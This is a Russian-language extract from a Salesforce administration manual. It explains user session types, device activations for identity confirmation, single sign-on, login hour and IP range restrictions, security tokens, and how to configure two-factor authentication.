Примерное местоположение IP-адреса, использованного для входа. Чтобы просмотреть
дополнительные географические данные (например, примерный город или почтовый

Расположение

индекс), создайте настраиваемое представление для добавления данных полей. Данное
значение не локализуется.

Долгота фактического местонахождения IP-адреса пользователя.Долгота

Тип входа, связанный с сеансом. Например, «Приложение», «SAML» и «Портал».Тип входа

Уникальный код родительского сеанса (при его наличии).Код родительского сеанса

Почтовыйиндексфактическогоместонахождения IP-адресапользователя. Данноезначение
не локализуется.

Почтовый индекс

Уникальный код сеанса.Код сеанса

Тип сеанса, выполняемого пользователем. Например, «Пользовательский интерфейс»,
«Содержимое», «API» и «Visualforce».

Тип сеанса

IP-адрес, связанный с сеансом.IP-адрес источника

Имя подразделения фактического местонахождения IP-адреса пользователя. Данное
значение не локализуется.

Подразделение

Тип профиля, связанный с сеансом.Тип пользователя
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ОписаниеПоле

Имяпользователя, используемое во время сеанса. Чтобыпросмотреть страницупрофиля
пользователя, щелкните имя нужного пользователя.

Имя пользователя

Дата и время последнего обновления сеанса. Например, пользователи сеанса типа
«Пользовательскийинтерфейс» частоизменяютзаписиидругиеданные. Каждоеизменение
инициирует обновление даты и времени в полях «Обновлено» и «Срок действия».

Обновлено

Дата и время автоматического истечения срока действия незавершенного сеанса.Срок действия

СМ. ТАКЖЕ:

Общие сведения о проверке подлинности

Общие сведения о типах сеансов

Общие сведения о типах сеансов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Данныйразделохватывает типысеансовна странице «Сведенияо сеансепользователя»,
позволяющие контролировать и защищать организацию.

Страница «Сведения о сеансе пользователя» позволяет просматривать тип сеанса для
конкретного пользователя. Для доступа к странице через меню «Настройка» введите
строку «Управление сеансами» вполе «Быстрый поиск» ивыберитепункт «Управление
сеансами».

Типы сеансов определяют тип сеанса, применяемый пользователем для доступа к
организации. Типы сеансов могут быть постоянными или временными; доступ может
предоставлятьсяпосредствомпользовательскогоинтерфейса, интерфейсаAPIилидругих
методов (например, процесс проверки подлинности OAuth).

Таблица ниже описывает доступные типы сеансов.

ОписаниеТип сеанса

Сеанс, созданный при получении доступа к организации посредством интерфейса
API.

API

Сеанс, созданный для включения функции сброса паролей в пользовательском
интерфейсе для пользователей API Only.

APIOnlyUser

Сеанс, созданный при использовании сетей Chatter или сообществ Chatter.Chatter Networks

Сеанс, созданный при использовании сетей Chatter или интерфейса Chatter
Communities API.

ChatterNetworksAPIOnly

Сеанс, созданный при обслуживании содержимого, загруженного пользователем.Content

Сеанс, предоставляющий доступ только к странице утверждения OAuth.OauthApprovalUI

Сеанс, созданныйпосредствомпроцессов OAuth. Например, использованиефункции
проверки подлинности OAuth для связанного приложения инициирует создание
данного типа сеанса.

Oauth2
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ОписаниеТип сеанса

Сеанс, созданныйприиспользованиипользовательскогоинтерфейса Site.com Studio.SiteStudio

Сеанс, созданныйпривызове внутреннегоприложенияхолста. Данныйсеанс всегда
является дочерним при родительском сеансе пользовательского интерфейса.

SitePreview

Сеанс, созданный при входе одного пользователя от имени другого пользователя.
Например, входадминистратораотименидругогопользователяинициируетсоздание
сеанса SubstituteUser.

SubstituteUser

Временный сеанс пользовательского интерфейса, созданный для переключения на
домен содержимого (например, пользовательский интерфейс, предназначенный
для ввода регистрационных данных).

TempContentExchange

Временный сеанс, созданный посредством процесса утверждения маркера доступа
OAuth, который не может быть обновлен и должен быть соотнесен с постоянным
типом сеанса.

TempOauthAccessTokenFrontdoor

Временный сеанс, созданный для переключения на домен Visualforce.TempVisualforceExchange

Временный сеанс, который не может быть обновлен и должен быть соотнесен с
постоянным типом сеанса.

TempUIFrontdoor

Сеанс, созданный при использовании страницы пользовательского интерфейса.UI

Сеанс, созданный при вызове приложения холста. Данный сеанс всегда является
дочерним при родительском сеансе пользовательского интерфейса.

UserSite

Сеанс, созданный посредством страницы Visualforce.Visualforce

Сеанс, созданныйпосредствоминтерфейсаWork.com API. Данныйсеансвсегдаявляется
дочерним и не может использоваться в пользовательском интерфейсе.

WDC_API

СМ. ТАКЖЕ:

Общие сведения о проверке подлинности

Сеансы пользователя

Активация безопасности

Активации для подтверждения подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

Активациидляподтвержденияподлинностиотслеживаютсведенияобактивированных
устройствах, включая IP-адреса и используемые клиентами браузеры.

Подтверждение подлинности проверяет личности пользователей, осуществляющих
доступк Salesforce снеизвестныхустройств. Оноповышаетбезопасностьиспользования
функций проверки подлинности. Пользователю, выполняющему вход посредством
неизвестного устройства, предлагается проверить подлинность посредством наиболее
приоритетного метода проверки. Доступные методы (в порядке приоритета):
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1. Проверка посредством push-уведомления или автоматизированная верификация по месту с помощью мобильного
приложения Salesforce Authenticator (версии 2 или более поздней), подключенного к учетной записи пользователя.

Важное замечание: Функциипроверкиподлинностипосредствомвсплывающихуведомленийиавтоматической
геолокационной проверки подлинности с помощью мобильного приложения Salesforce Authenticator версии
2.0 и выше станут доступны с 13 февраля 2016 г., после выхода выпуска Salesforce Spring ’16 для всех
производственных организаций. Предварительные версии и тестирование в безопасной среде недоступны. В
связи с особенностями процессов выпуска приложений в интернет-магазинах App Store и Google Play версия 2.0
может стать доступна для загрузки до того, как новый способпроверкиподлинности станет доступен в тестовых
средах и производственных организациях. Пользователи, загрузившие новую версию приложения, не смогут
использовать возможности версии 2.0 в Salesforce до выпуска нового способа проверки подлинности.

2. Код проверки, формируемый мобильным приложением проверки подлинности, которое подключилось к учетной
записи пользователя.

3. Код проверки, отправленный посредством SMS на проверенный номер мобильного телефона пользователя.

4. Код проверки, отправленный по электронной почте на адрес электронной почты пользователя.

После того как пользователь успешно пройдет процесс проверки подлинности, устройство считается активированным.

• Страница «Активации» в меню настройки содержит IP-адреса входа и сведения о клиентских браузерах на
активированных устройствах всех пользователей в вашей организации. Вы можете отменить активацию для одного,
нескольких или всех пользователей.

Например, пользователь сообщил о потерянном устройстве и получил новое. Вы можете отозвать активацию
потерянногоустройства, такчтолюбаяпопыткаосуществитьдоступкорганизациисотозванногоустройстваприведет
к проверке подлинности. Этот процесс добавляет требуемый уровень безопасности, при этом не ограничивая
продуктивность пользователей.

• Пользователи могут просматривать собственную страницу «Активации» и проверять IP-адреса входа и сведения о
клиентскихбраузерахдлясвоихустройств. Конечныепользователимогутотзывать активациюдлясвоегособственного
активированного устройства.

Например, пользователь выполняет вход в организацию. На странице «Активации» пользователя активировано
несколько устройств, но пользователь выполнил вход только с рабочего ноутбука. Пользователь тут же отзывает
активацию тех устройств, которые не узнал. Т. к. пользователь получает заявку на проверку подлинности через код,
отправленный в СМС на мобильное устройство пользователя, любой другой человек, пытающийся войти с одного
из неизвестных устройств, не сможет увидеть этот код. Без кода они не смогут пройти проверку подлинности. Затем
пользователь может сообщить о возможном нарушении безопасности.

СМ. ТАКЖЕ:

Использование активаций для подтверждения подлинности

Журнал проверки подлинности
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Использование активаций для подтверждения подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

Просматривайте активациидляподтвержденияподлинностипользователяиотменяйте
их статус для предотвращения нарушения безопасности.

Чтобы просмотреть сведения об IP-адресах входа и обозревателях для активированных
в настоящий момент устройств, введите «Активации» в поле «Быстрый поиск» меню
«Настройка» и выберите «Активации».

Чтобы отменить статус активации, выберите один или несколько пунктов из списка
«Активированныйобозреватель клиента», нажмите «Удалить»иподтвердите действие.
Пользователи могут только просматривать и отменять собственные активированные
обозревателиустройств. Деактивированномупользователю, попытавшемусявыполнить
вход, отображается запрос на проверку подлинности.

СМ. ТАКЖЕ:

Активации для подтверждения подлинности

Журнал проверки подлинности

Безопасность пользователей

Общие сведения о проверке подлинности
Система Salesforce предоставляет каждому пользователю организации уникальное имя пользователя и пароль, которые
должны вводиться при каждом входе. Система Salesforce создает сеансовый cookie-файл исключительно для записи
зашифрованныхданныхпроверкиподлинностивовремяконкретногосеанса. Сеансовый cookie-файлнесодержитимени
пользователя или пароля. Система Salesforce не использует cookie-файлы для хранения другой конфиденциальной
информации о пользователях и сеансах, но применяет дополнительные расширенные методы безопасности на основе
динамических данных и кодов зашифрованных сеансов.

СМ. ТАКЖЕ:

Общие сведения о единой регистрации

Сетевая безопасность

Технология CAPTCHA для экспорта данных

Сеансы пользователя

Общие сведения о единой регистрации
Компания Salesforce использует собственную систему проверки подлинности пользователей, тогда как другие компании
предпочитают использовать принцип единой регистрации, позволяющий упростить и стандартизировать процесс
проверки подлинности. Единая регистрация поддерживает два способа: интегрированная проверка подлинности
посредством SAML и делегированная проверка подлинности.

• Интегрированная проверка подлинности посредством SAML позволяет пересылать данные авторизации и проверки
подлинности между дочерними, но несвязанными веб-службами. Данный алгоритм позволяет выполнять единый
входв системуSalesforceпосредствомклиентскогоприложения. Интегрированнаяпроверкаподлинностипосредством
SAML включена по умолчанию.
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• Единаярегистрацияс делегированнойпроверкойподлинностипозволяетинтегрировать систему Salesforce сметодом
проверкиподлинности, выбраннымпользователем. Данныйалгоритмпозволяетинтегрироватьпроверкуподлинности
на сервер LDAP или выполнять единую регистрацию путем проверки подлинности посредством маркера.
Делегированная проверка подлинности управляется на уровне полномочий, позволяя некоторым пользователям
использоватьделегированнуюпроверкуподлинности, а другим — парольподуправлениемSalesforce. Делегированная
проверка подлинности устанавливается полномочиями, а не организацией.

Ниже перечислены основные причины использования делегированной проверки подлинности.

– Использование более строгого типа проверки подлинностипользователей (например, интеграция с безопасным
поставщиком удостоверений)

– Отмена общего доступа ко странице входа и ее использование в качестве компонента корпоративной сети,
защищенного брандмауэром

– Дифференцирование организации пользователя от других компаний, использующих систему Salesforce для
сокращения количества фишинговых атак

ДаннаяфункциявключаетсякомпаниейSalesforceподополнительномузапросу. Чтобывключитьединуюрегистрацию
с делегированной проверкой подлинности в организации, обратитесь в компанию Salesforce.

• Поставщикипроверкиподлинностипозволяютпользователямвыполнять входворганизацию Salesforceпосредством
их регистрационных данных во внешнем поставщике услуг. Salesforce supports the OpenId Connect protocol that allows
users to log in from any OpenID provider such as Google, PayPal, LinkedIn and other services supporting OpenID Connect. Если
включены поставщики проверки подлинности, то система Salesforce не проверяет пароль пользователя. Взамен,
система Salesforceиспользуетрегистрационныеданныепользователяиз внешнегопоставщикауслуг дляопределения
регистрационных данных проверки подлинности.

СМ. ТАКЖЕ:

Общие сведения о проверке подлинности

Сетевая безопасность
Проверкаподлинностиопределяетпользователей, которыемогут выполнять вход, тогда как сетеваябезопасностьопределяет
области и время их входа. Сетевая безопасность позволяет сократить количество атак путем ограничения источника
запросов на доступ пользователей. Кроме того, сетевая безопасность препятствует использованию украденных
регистрационных данных.

Чтобырасширитьсетевуюбезопасность, ограничьтевремявходапользователей. Принеобходимостиограничьтедиапазон
IP-адресов, используемых для входа и доступа к системе Salesforce. Если профилю пользователя заданы ограничения
IP-адресов, товход, выполненныйпосредствомнеизвестного IP-адреса, блокируетсясистемойSalesforce. Данныеограничения
позволяют защитить данные от несанкционированного доступа и фишинговых атак.

Дополнительнуюинформациюо настройке единого списка надежных IP-адресов, которые могут всегда использоваться
длявхода, см. вразделе «Настройкадиапазоновнадежных IP-адресовдляорганизации»настранице919. Дополнительную
информацию об ограничении времени входа по профилю или ограничении запросов на вход и доступ по IP-адресам
для конкретных профилей см. в разделе «Настройка ограничений входа» на странице 926.

СМ. ТАКЖЕ:

Общие сведения о проверке подлинности
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Технология CAPTCHA для экспорта данных
Компания Salesforce выполняет проверку подлинности пользователя перед экспортом данных из системы Salesforce по
запросу. Эта элементарная проверка на основе ввода текста позволяет предотвратить доступ вредоносных программ к
данным организации, а также снизить вероятность автоматизированных атак. CAPTCHA — это тип сетевой безопасности.
Чтобы пройти проверку, пользователи должны правильно ввести два слова в специальное текстовое поле области
наложения и нажать кнопку «Отправить». Система Salesforce использует специальную технологию CAPTCHA,
предоставленную компанией reCaptcha. Данная технология позволяет подтвердить, что текст в режиме наложения был
введенименнопользователем, ане автоматическойпрограммой. Слово CAPTCHA является акронимомдляфразы Completely
Automated Public Turing test to tell Computers and Humans Apart (Полностью автоматизированный открытый тест Тьюринга
по распознаванию людей и машин).

СМ. ТАКЖЕ:

Общие сведения о проверке подлинности

Настройка ограничений входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Чтобы защитить данныеорганизацииотнесанкционированногодоступа, рекомендуем
настроить параметры ограничения входа и доступа.

Время входа
Каждомупрофилюможетбытьназначеноопределенноевремявходапользователей.
См. разделы ниже.

• Просмотр и редактирование времени входа в расширенном пользовательском
интерфейсе профиля

• Просмотр и редактирование времени входа в исходном пользовательском
интерфейсе профиля

Двухфакторная проверка подлинности для входов посредством пользовательского интерфейса
Каждому профилю может быть задана необходимость использования второго фактора проверки подлинности для
входовпосредствомпользовательскогоинтерфейса. См. раздел «Установка требованийко входупридвухфакторной
проверке подлинности» на странице 932.

Двухфакторная проверка подлинности для входов посредством API
Для каждого профиля пользователь может затребовать проверочный код (также называемый контролируемым по
времениразовымпаролем) вместо стандартногомаркерабезопасности. Пользователиподключаютсякприложению
средства проверки подлинности, которое генерирует проверочные коды для организации. Пользователи с
полномочиями двухфакторной проверки подлинности для входов API используют код взамен стандартного маркера
безопасности, когда это необходимо, например при восстановлении пароля организации. См. раздел «Установка
двухфакторной проверки подлинности для API-доступа» на странице 935.

Диапазоны IP-адресов входа
Версии Enterprise Edition, Performance Edition, Unlimited Edition, Developer Edition и Database.com Edition позволяют
настраиватьдиапазоны IP-адресов входа, которыемогутиспользоватьсядля входапользователейотдельногопрофиля.
Пользователи, находящиеся вне заданного диапазона IP-адресов входа, не могут получить доступ к организации
Salesforce. См.

• Ограничение диапазонов IP-адресов входа в расширенном пользовательском интерфейсе профиля

• Ограничение IP-адресов входа в исходном пользовательском интерфейсе профиля

ВверсияхContact Manager, Groupи Professional Editions установите диапазон IP-адресов для входа. Вразделе «Настройка»
введите «Параметры сеанса» в поле «Быстрый поиск», затем выберите «Параметры сеанса».
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Применение диапазонов IP-адресов входа для всех запросов на доступ
При необходимости ограничьте любой доступ к системе Salesforce IP-адресами, добавленными в раздел «Диапазоны
IP-адресоввхода» профилейпользователей. Например, пользовательвыполняетвходпосредством IP-адреса, указанного
в разделе «Диапазоны IP-адресов входа». Затем пользователь меняет свое местоположение и получает новый IP-адрес,
отсутствующий в разделе «Диапазоны IP-адресов входа». При обновлении обозревателя или получении доступа к
системе Salesforce (включая доступ из клиентского приложения) пользователь, как правило, получает отказ. Чтобы
включить этот параметр, в разделе «Настройка» введите «Параметры сеанса» в поле «Быстрый поиск», выберите
«Параметры сеанса», после чего выберите «Применять диапазоны IP-адресов при каждом запросе». Этот
параметр отражается на всех профилях пользователей, для которых применяются IP-ограничения.

Диапазоны единых надежных IP-адресов
Система Salesforce позволяет создавать спискидиапазоновнадежных IP-адресов, предоставляющихвсемпользователям
беспрепятственныйдоступкданным. Данныепользователимогутвыполнятьвходпослепрохождениядополнительной
проверки. См. раздел «Настройка диапазонов надежных IP-адресов для организации».

Когда пользователи выполняют вход в Salesforce через пользовательский интерфейс, API или настольное клиентское
приложение, например Salesforce for Outlook, Connect Offline, Connect for Office или the Data Loader, система Salesforce
подтверждает санкционированность входа следующим образом.

1. Система Salesforce проверяет профиль пользователя на наличие ограничений по времени входа. Если профиль
пользователя содержит ограничения по времени входа, то вход может быть выполнен только в течение заданного
времени.

2. Если пользователь обладает полномочием «Двухфакторная проверка подлинности для входов посредством
пользовательского интерфейса», система Salesforce предлагает пользователю вторуюформу проверки при входе.
Если организация пользователя еще не подключена к мобильному приложениюпроверки подлинности, такому как
Salesforce Authenticator, система Salesforce сначала предлагает пользователю подключиться к приложению.

3. Если пользователь обладает полномочиями «Двухфакторная проверка подлинности для входов посредством API» и
подключилприложениесредствапроверкиподлинностикорганизации, системаSalesforceвозвращаетошибку, когда
пользователь использует стандартный маркер безопасности. Пользователь должен ввести проверочный код
(контролируемый по времени разовый пароль), сгенерированный приложением средства проверки подлинности.

4. Затем система Salesforce проверяет профиль пользователя на наличие ограничений по IP-адресам. Если профиль
пользователя содержит ограничения по IP-адресам, то вход может быть выполнен только посредством разрешенных
IP-адресов. Привключениипараметра «Применятьдиапазоны IP-адресоввходаприкаждомзапросе»для сеанса,
ограниченияпо IP-адресамприменяютсядля каждого запроса страницы, включая запросыотклиентскихприложений.

5. Если профиль не содержит ограничений по IP-адресам, то система Salesforce проверяет устройство на повторное
использование для входа в систему Salesforce.

• Если пользователь выполняет вход посредством устройства и обозревателя, распознанных системой Salesforce,
то вход разрешается.

• Если пользователь выполняет вход посредством надежного IP-адреса, то вход разрешается.

• Если пользователь выполняет вход посредством ненадежного IP-адреса или устройства и обозревателя, не
распознанных системой Salesforce, вход будет заблокирован.

При блокировке входа или возврате ошибки входа API система Salesforce должна проверить подлинность пользователя.

• Чтобы получить доступ посредством пользовательского интерфейса, пользователю предлагается осуществить
проверку с использованием Salesforce Authenticator (в версии 2 и более поздних) либо ввести проверочный код.

Прим.: Код проверки не требуется при первом входе в систему Salesforce.
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Важное замечание: Функциипроверкиподлинностипосредствомвсплывающихуведомленийиавтоматической
геолокационной проверки подлинности с помощью мобильного приложения Salesforce Authenticator версии
2.0 и выше станут доступны с 13 февраля 2016 г., после выхода выпуска Salesforce Spring ’16 для всех
производственных организаций. Предварительные версии и тестирование в безопасной среде недоступны. В
связи с особенностями процессов выпуска приложений в интернет-магазинах App Store и Google Play версия 2.0
может стать доступна для загрузки до того, как новый способпроверкиподлинности станет доступен в тестовых
средах и производственных организациях. Пользователи, загрузившие новую версию приложения, не смогут
использовать возможности версии 2.0 в Salesforce до выпуска нового способа проверки подлинности.

• ЧтобыполучитьдоступпосредствомAPIиликлиентскогоприложения, пользователидолжныдобавитьсвоимаркеры
безопасности в конец пароля для входа. Либо, если в профиле пользователя установлена «Двухфакторная проверка
подлинности для входов посредством API», пользователи вводят проверочный код, сгенерированный приложением
средства проверки подлинности.

Маркер безопасности — это автоматически генерируемый ключ Salesforce. Например, при использовании пароля
мойпароль и маркера безопасности XXXXXXXXXX вход может быть выполнен только после ввода следующей строки:
мойпарольXXXXXXXXXX. Некоторыеклиентскиеприложенияподдерживаютотдельноеполедлямаркерабезопасности.

Чтобы получить маркер безопасности, измените пароль или восстановите маркер безопасности посредством
пользовательскогоинтерфейса Salesforce. Приизменениипароляиливосстановлениимаркерабезопасности система
Salesforce отправляет новый маркер безопасности на адрес эл. почты, указанный в записи пользователя Salesforce.
Маркер безопасности действителен до его восстановления, изменения или сброса пароля.

Совет: Перед доступом к Salesforce из нового IP-адреса, мы рекомендуем получить маркер безопасности из
доверенной сети при помощифункции «Сбросить мой маркер безопасности».

Советы по настройке ограничений входа
Ниже перечислены рекомендации по настройке ограничений входа.

• Изменение пароля инициирует сброс маркера безопасности. Вход посредством API или клиентского приложения
может быть заблокирован, пока пользователь не добавит автоматически созданный маркер безопасности в конец
пароля.

• Пользователи партнерского и клиентского порталов могут выполнять вход без предварительной активации
компьютеров.

• Данные события считаютсяпопыткамивходапосредствомнедопустимогопароляи учитываютсяограничением, при
достижениикотороговходвсистемуSalesforceблокируетсяв соответствииспараметрамиблокировкивхода, заданными
в организации.

– Каждый раз пользователям предлагается пройти проверку подлинности.

– Каждое неверное добавление маркера безопасности или проверочного кода в конец пароля для входа в систему
Salesforce посредством API или клиентского приложения
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Двухфакторная проверка подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Contact Manager.

Администратор Salesforce может укрепить безопасность путем применения второго
уровня проверки подлинности при каждом входе пользователя. Данный алгоритм
называетсядвухфакторнойпроверкойподлинности. Крометого, двухфакторнаяпроверка
подлинностиможетприменятьсяприсоответствиипользователянекоторымкритериям
(например, при попытке просмотра отчетов или доступа к связанному приложению).

Важное замечание: Функциипроверки подлинности посредством всплывающих
уведомленийиавтоматическойгеолокационнойпроверкиподлинностиспомощью
мобильногоприложения Salesforce Authenticator версии 2.0 ивышестанут доступны
с 13 февраля 2016 г., после выхода выпуска Salesforce Spring ’16 для всех
производственных организаций. Предварительные версии и тестирование в
безопасной среде недоступны. В связи с особенностями процессов выпуска
приложений в интернет-магазинах App Store и Google Play версия 2.0 может стать
доступна для загрузки до того, как новый способ проверки подлинности станет
доступен в тестовых средах и производственных организациях. Пользователи,
загрузившие новую версию приложения, не смогут использовать возможности
версии 2.0 в Salesforce до выпуска нового способа проверки подлинности.

Основное подтверждение подлинности
При выполнении входа система Salesforce проверяет устройство пользователя. Если его не удается распознать, Salesforce
предлагает пользователю удостоверить личность с помощью самого приоритетного метода проверки подлинности,
доступного данному пользователю. Далее следует порядок приоритетности для способов проверки подлинности.

1. Проверкачерез всплывающееуведомлениеилиавтоматизированнаяпроверканаосновеместоположенияспомощью
мобильного приложения Salesforce Authenticator, подключенного к учетной записи пользователя.

2. Код проверки, формируемый мобильным приложением проверки подлинности, которое подключилось к учетной
записи пользователя. Этот тип кода называется «одноразовый пароль с ограниченным сроком действия». Значение
кода периодически изменяется.

3. Код проверки, отправленный через SMS на проверенное мобильное устройство пользователя. Если у пользователей
нет проверенного мобильного номера, им будет предложено зарегистрировать его при входе в систему Salesforce.
Прирегистрацииномерамобильноготелефонаосуществляетсяегопроверка, такчтопользовательсможетиспользовать
этот метод впоследствии.

4. Код проверки, отправленныйпо электроннойпочте на адрес электроннойпочты пользователя. Срок действия этого
кода закончится через 24 часа.

ПослепроверкисистемаSalesforceможетнеосуществлятьповторнуюпроверкуподлинностипользователя, заисключением
случаев, когда пользователь входит в систему с нового устройства, не опознанного Salesforce.

Другие возможности применения двухфакторной проверки подлинности
Второй уровень проверки подлинности может применяться при каждом входе, каждом входе посредством API (для
разработчиков и клиентских приложений) или доступе к специальнымфункциям. Пользователи загружают и
устанавливают мобильное приложение по проверке подлинности, например приложение Salesforce Authenticator или
Google Authenticator, на свои мобильные устройства. Пользователи подключают приложение к своим учетным записям
в Salesforce. Онииспользуютприложение всякийраз, когда политикиорганизации требуют выполнения двухфакторной
проверки подлинности.
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Мобильное приложение Salesforce Authenticator (версия 2.0 и более поздние) отправляет всплывающее уведомление на
мобильное устройство пользователя, когда для действия в учетной записи Salesforce требуется проверка подлинности.
Пользователь указывает на мобильном устройстве, что следует сделать — выполнить проверку или заблокировать
действие. Пользовательможетвключитьслужбыопределенияместоположенияиавтоматизироватьпроверкуиздоверенных
мест, например дома или офиса. Salesforce Authenticator также генерирует коды проверки, которые иногда называются
контролируемыми по времени разовыми паролями (TOTP). Пользователи могут ввести пароль и код вместо ответа на
всплывающее уведомление от приложения. Можно также получить код проверки от другого приложения по проверке
подлинности.

Настройка двухфакторной проверки подлинности
Администраторывключаютдвухфакторнуюпроверкуподлинностипосредствомполномочийилипараметровпрофиля.
Пользователи добавляют мобильное приложение по проверке подлинности через личные настройки.

Ниже перечислены способы настройки двухфакторной проверки подлинности.

• Применение при каждом входе. Настройте требования ко входу, которые должны применяться при каждом входе
пользователя в систему Salesforce. Можнотакже включить этуфункциюдля входовпосредством API, чтоподразумевает
использованиеклиентскихприложений, например Data Loader. Дополнительнуюинформациюсм. вразделе «Настройка
требований к входу при двухфакторной проверке подлинности» или «Настройка требований к входу при
двухфакторной проверке подлинности для API-доступа».

Просмотреть обзор: защита входа с помощью двухфакторной проверки подлинности

• Использование ступенчатой проверки подлинности (также называется высоконадежной проверкой подлинности).
Иногда двухфакторная проверка подлинности требуется не для каждого входа пользователя в систему, однако
определенныересурсытребуется защитить. Припопыткепользователяработать сподключеннымприложениемили
использоватьотчетыSalesforceпредложитемупроверитьподлинность. Дополнительнуюинформациюсм. вподразделе
«Уровни безопасности сеанса».

• Используйте политики профиля или параметры сеанса. Сначала в профиле пользователя установите для поля При
входе требуется уровень безопасности сеанса значениеВысоконадежный. Затемнастройте уровеньбезопасности
сеанса организации, чтобы применить политику к определенным методам входа. В настройках сеанса организации
проверьте уровни безопасности и убедитесь, что в столбце «Высоконадежный» указана двухфакторная проверка
подлинности.

Внимание: Если двухфакторная проверка подлинности установлена в столбце «Стандартный», будет выдана
ошибка при входе с помощью метода, который обеспечивает безопасность стандартного уровня.

• Использованиепотоковвхода. Используйтеприложение Flow Designer ипрофили, позволяющиесоздаватьтребования
к постпроверке подлинности при входе пользователя, включая настраиваемые процессы двухфакторной проверки
подлинности. Дополнительную информацию см. в примерах ниже.

– Потоки входа

– Внедрение двухфакторной проверки подлинности на основе SMS

– Повышение уровня безопасности с помощью двухфакторной проверки подлинности

Настройка требований к входу при двухфакторной проверке подлинности
Администратору Salesforceможетпотребоваться, чтобыпользователииспользовалимобильноеприложениесредства
проверки подлинности для двухфакторной проверки подлинности при входе в систему.

930

Безопасность пользователейНастройка и обслуживание организации Salesforce

https://login.salesforce.com/services/walkthrough?path=%2Fsetup%2FforcecomHomepage.apexp&tour=secure-logins-with-a-unique-code--two-factor-authentication-
https://developer.salesforce.com/page/Login-Flows
https://developer.salesforce.com/page/SMS-2FA
http://salesforce.vidyard.com/watch/23tBUCvo6cXWJWRbsHHXTg


Набортребованийпривходевсистемусдвухфакторнойпроверкойподлинностидляединойрегистрации, регистрации
в социальных сетях и сообществ
Используйте политику профиля и параметры сеанса для установки требований входа пользователей в систему с
двухфакторной проверкой подлинности. Поддерживаются все методы проверки подлинности в пользовательском
интерфейсе Salesforce, в том числе имя пользователя и пароль, выделенная проверка подлинности, единый вход в
системусподдержкой SAML, а такжевходчерез социальныесетичерез стороннегопоставщикапроверкиподлинности.
Пользовательможет применять требования двухфакторнойпроверкиподлинности к пользователям в организациях
Salesforce и сообществах.

Настройка требований ко входу при двухфакторной проверке подлинности для API-доступа
АдминистраторSalesforceможетназначитьполномочие «Двухфакторнаяпроверкаподлинностидлявходовпосредством
API», позволяющееиспользовать второй запроспроверкиподлинностидля API-доступа к системе Salesforce. API-доступ
подразумевает использование таких приложений, как Data Loader, а также средств разработчика для настройки
организации или создания клиентских приложений.

Отключение Salesforce Authenticator (версии 2.0 или более поздней) от учетной записи пользователя
Одновременно только одно мобильное приложение Salesforce Authenticator (версии 2.0 или более поздней) может
быть подключено к учетной записи пользователя. Если пользователь утратил доступ к приложениюпри замене или
в случае утери мобильного устройства, отключите приложение от учетной записи пользователя. При следующем
входепользователясиспользованиемдвухфакторнойпроверкиподлинностисистемаSalesforceпопроситпользователя
подключить новое приложение для проверки подлинности.

Отключение пользовательского приложения для создания одноразовых паролей
К учетной записи пользователя может быть подключено только одно мобильное приложение средства проверки
подлинностидлясозданияпроверочныхкодов (одноразовыхпаролей). Еслипользовательтеряетдоступкприложению
при замене или потере мобильного устройства, отключите приложение от учетной записи пользователя. При
следующем входе пользователя с помощью двухфакторной проверки подлинности система Salesforce предложит
пользователю подключиться к новому приложению средства проверки подлинности.

СМ. ТАКЖЕ:

Активация устройства, инициирующего запрос на проверку подлинности

Настройка ограничений входа

Настраиваемые потоки входа

Подключение Salesforce Authenticator (версия 2.0 и выше) для проверки подлинности в организации

Подключение к приложению генератора разового пароля или устройству проверки подлинности

Отключение Salesforce Authenticator (версии 2.0 или более поздней) от учетной записи пользователя

Отключение пользовательского приложения для создания одноразовых паролей

Журнал проверки подлинности
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Настройка требований к входу при двухфакторной проверке подлинности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
профилей и наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Администратору Salesforce может потребоваться, чтобы пользователи использовали
мобильноеприложение средства проверкиподлинности для двухфакторнойпроверки
подлинности при входе в систему.

Двухфакторнаяпроверкаподлинностиможеттребоватьсяприкаждомвходепользователя
в систему Salesforce с помощью имени пользователя и пароля, включая организации с
настраиваемымидоменами, которыесозданыприпомощифункции «Мойдомен». Чтобы
установить это требование, выберите полномочие «Двухфакторная проверка
подлинности для входов посредством пользовательского интерфейса» в профиле
пользователя (только для клонированных профилей) или набор полномочий.

Просмотреть обзор: защита входа с помощью двухфакторной проверки
подлинности

Пользователи с полномочием «Двухфакторная проверка подлинности для входов
посредством пользовательского интерфейса» должны использовать мобильное
приложение средства проверки подлинности при каждом входе в систему Salesforce.

Также можно использовать политику на основе профиля для установки требования
двухфакторной проверки подлинности для пользователей, назначенных конкретному
профилю. Используйте политику профиля, если нужно установить двухфакторную
проверкуподлинностидляпользователейследующихметодовпроверкиподлинности:

• SAML для единой регистрации

• Регистрация в организациях или сообществах Salesforce посредством социальных
сетей.

• Проверка подлинности имени пользователя и пароля в сообществах.

Поддерживаются все методы проверки подлинности в пользовательском интерфейсе Salesforce, в том числе имя
пользователя и пароль, делегированная проверка подлинности, единый вход в систему с поддержкой SAML, а также вход
посредствомсоциальныхсетейчерезстороннегопоставщикапроверкиподлинности. Впрофилепользователяустановите
дляполя «При входе требуется уровень безопасности сеанса» значение«Высоконадежный». Затемнастройтеуровень
безопасности сеанса организации, чтобы применить политику к определенным методам входа. В параметрах сеанса
организации также выберите уровни безопасности сеанса, установив в столбце «Высоконадежный» двухфакторную
проверку подлинности.

Внимание:
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Если двухфакторная проверка подлинности установлена в столбце «Стандартный», будет выдана ошибка при входе с
помощью метода, который обеспечивает безопасность стандартного уровня.

СМ. ТАКЖЕ:

Двухфакторная проверка подлинности

Набортребованийпривходевсистемусдвухфакторнойпроверкойподлинностидляединойрегистрации, регистрации
в социальных сетях и сообществ

Подключение Salesforce Authenticator (версия 2.0 и выше) для проверки подлинности в организации

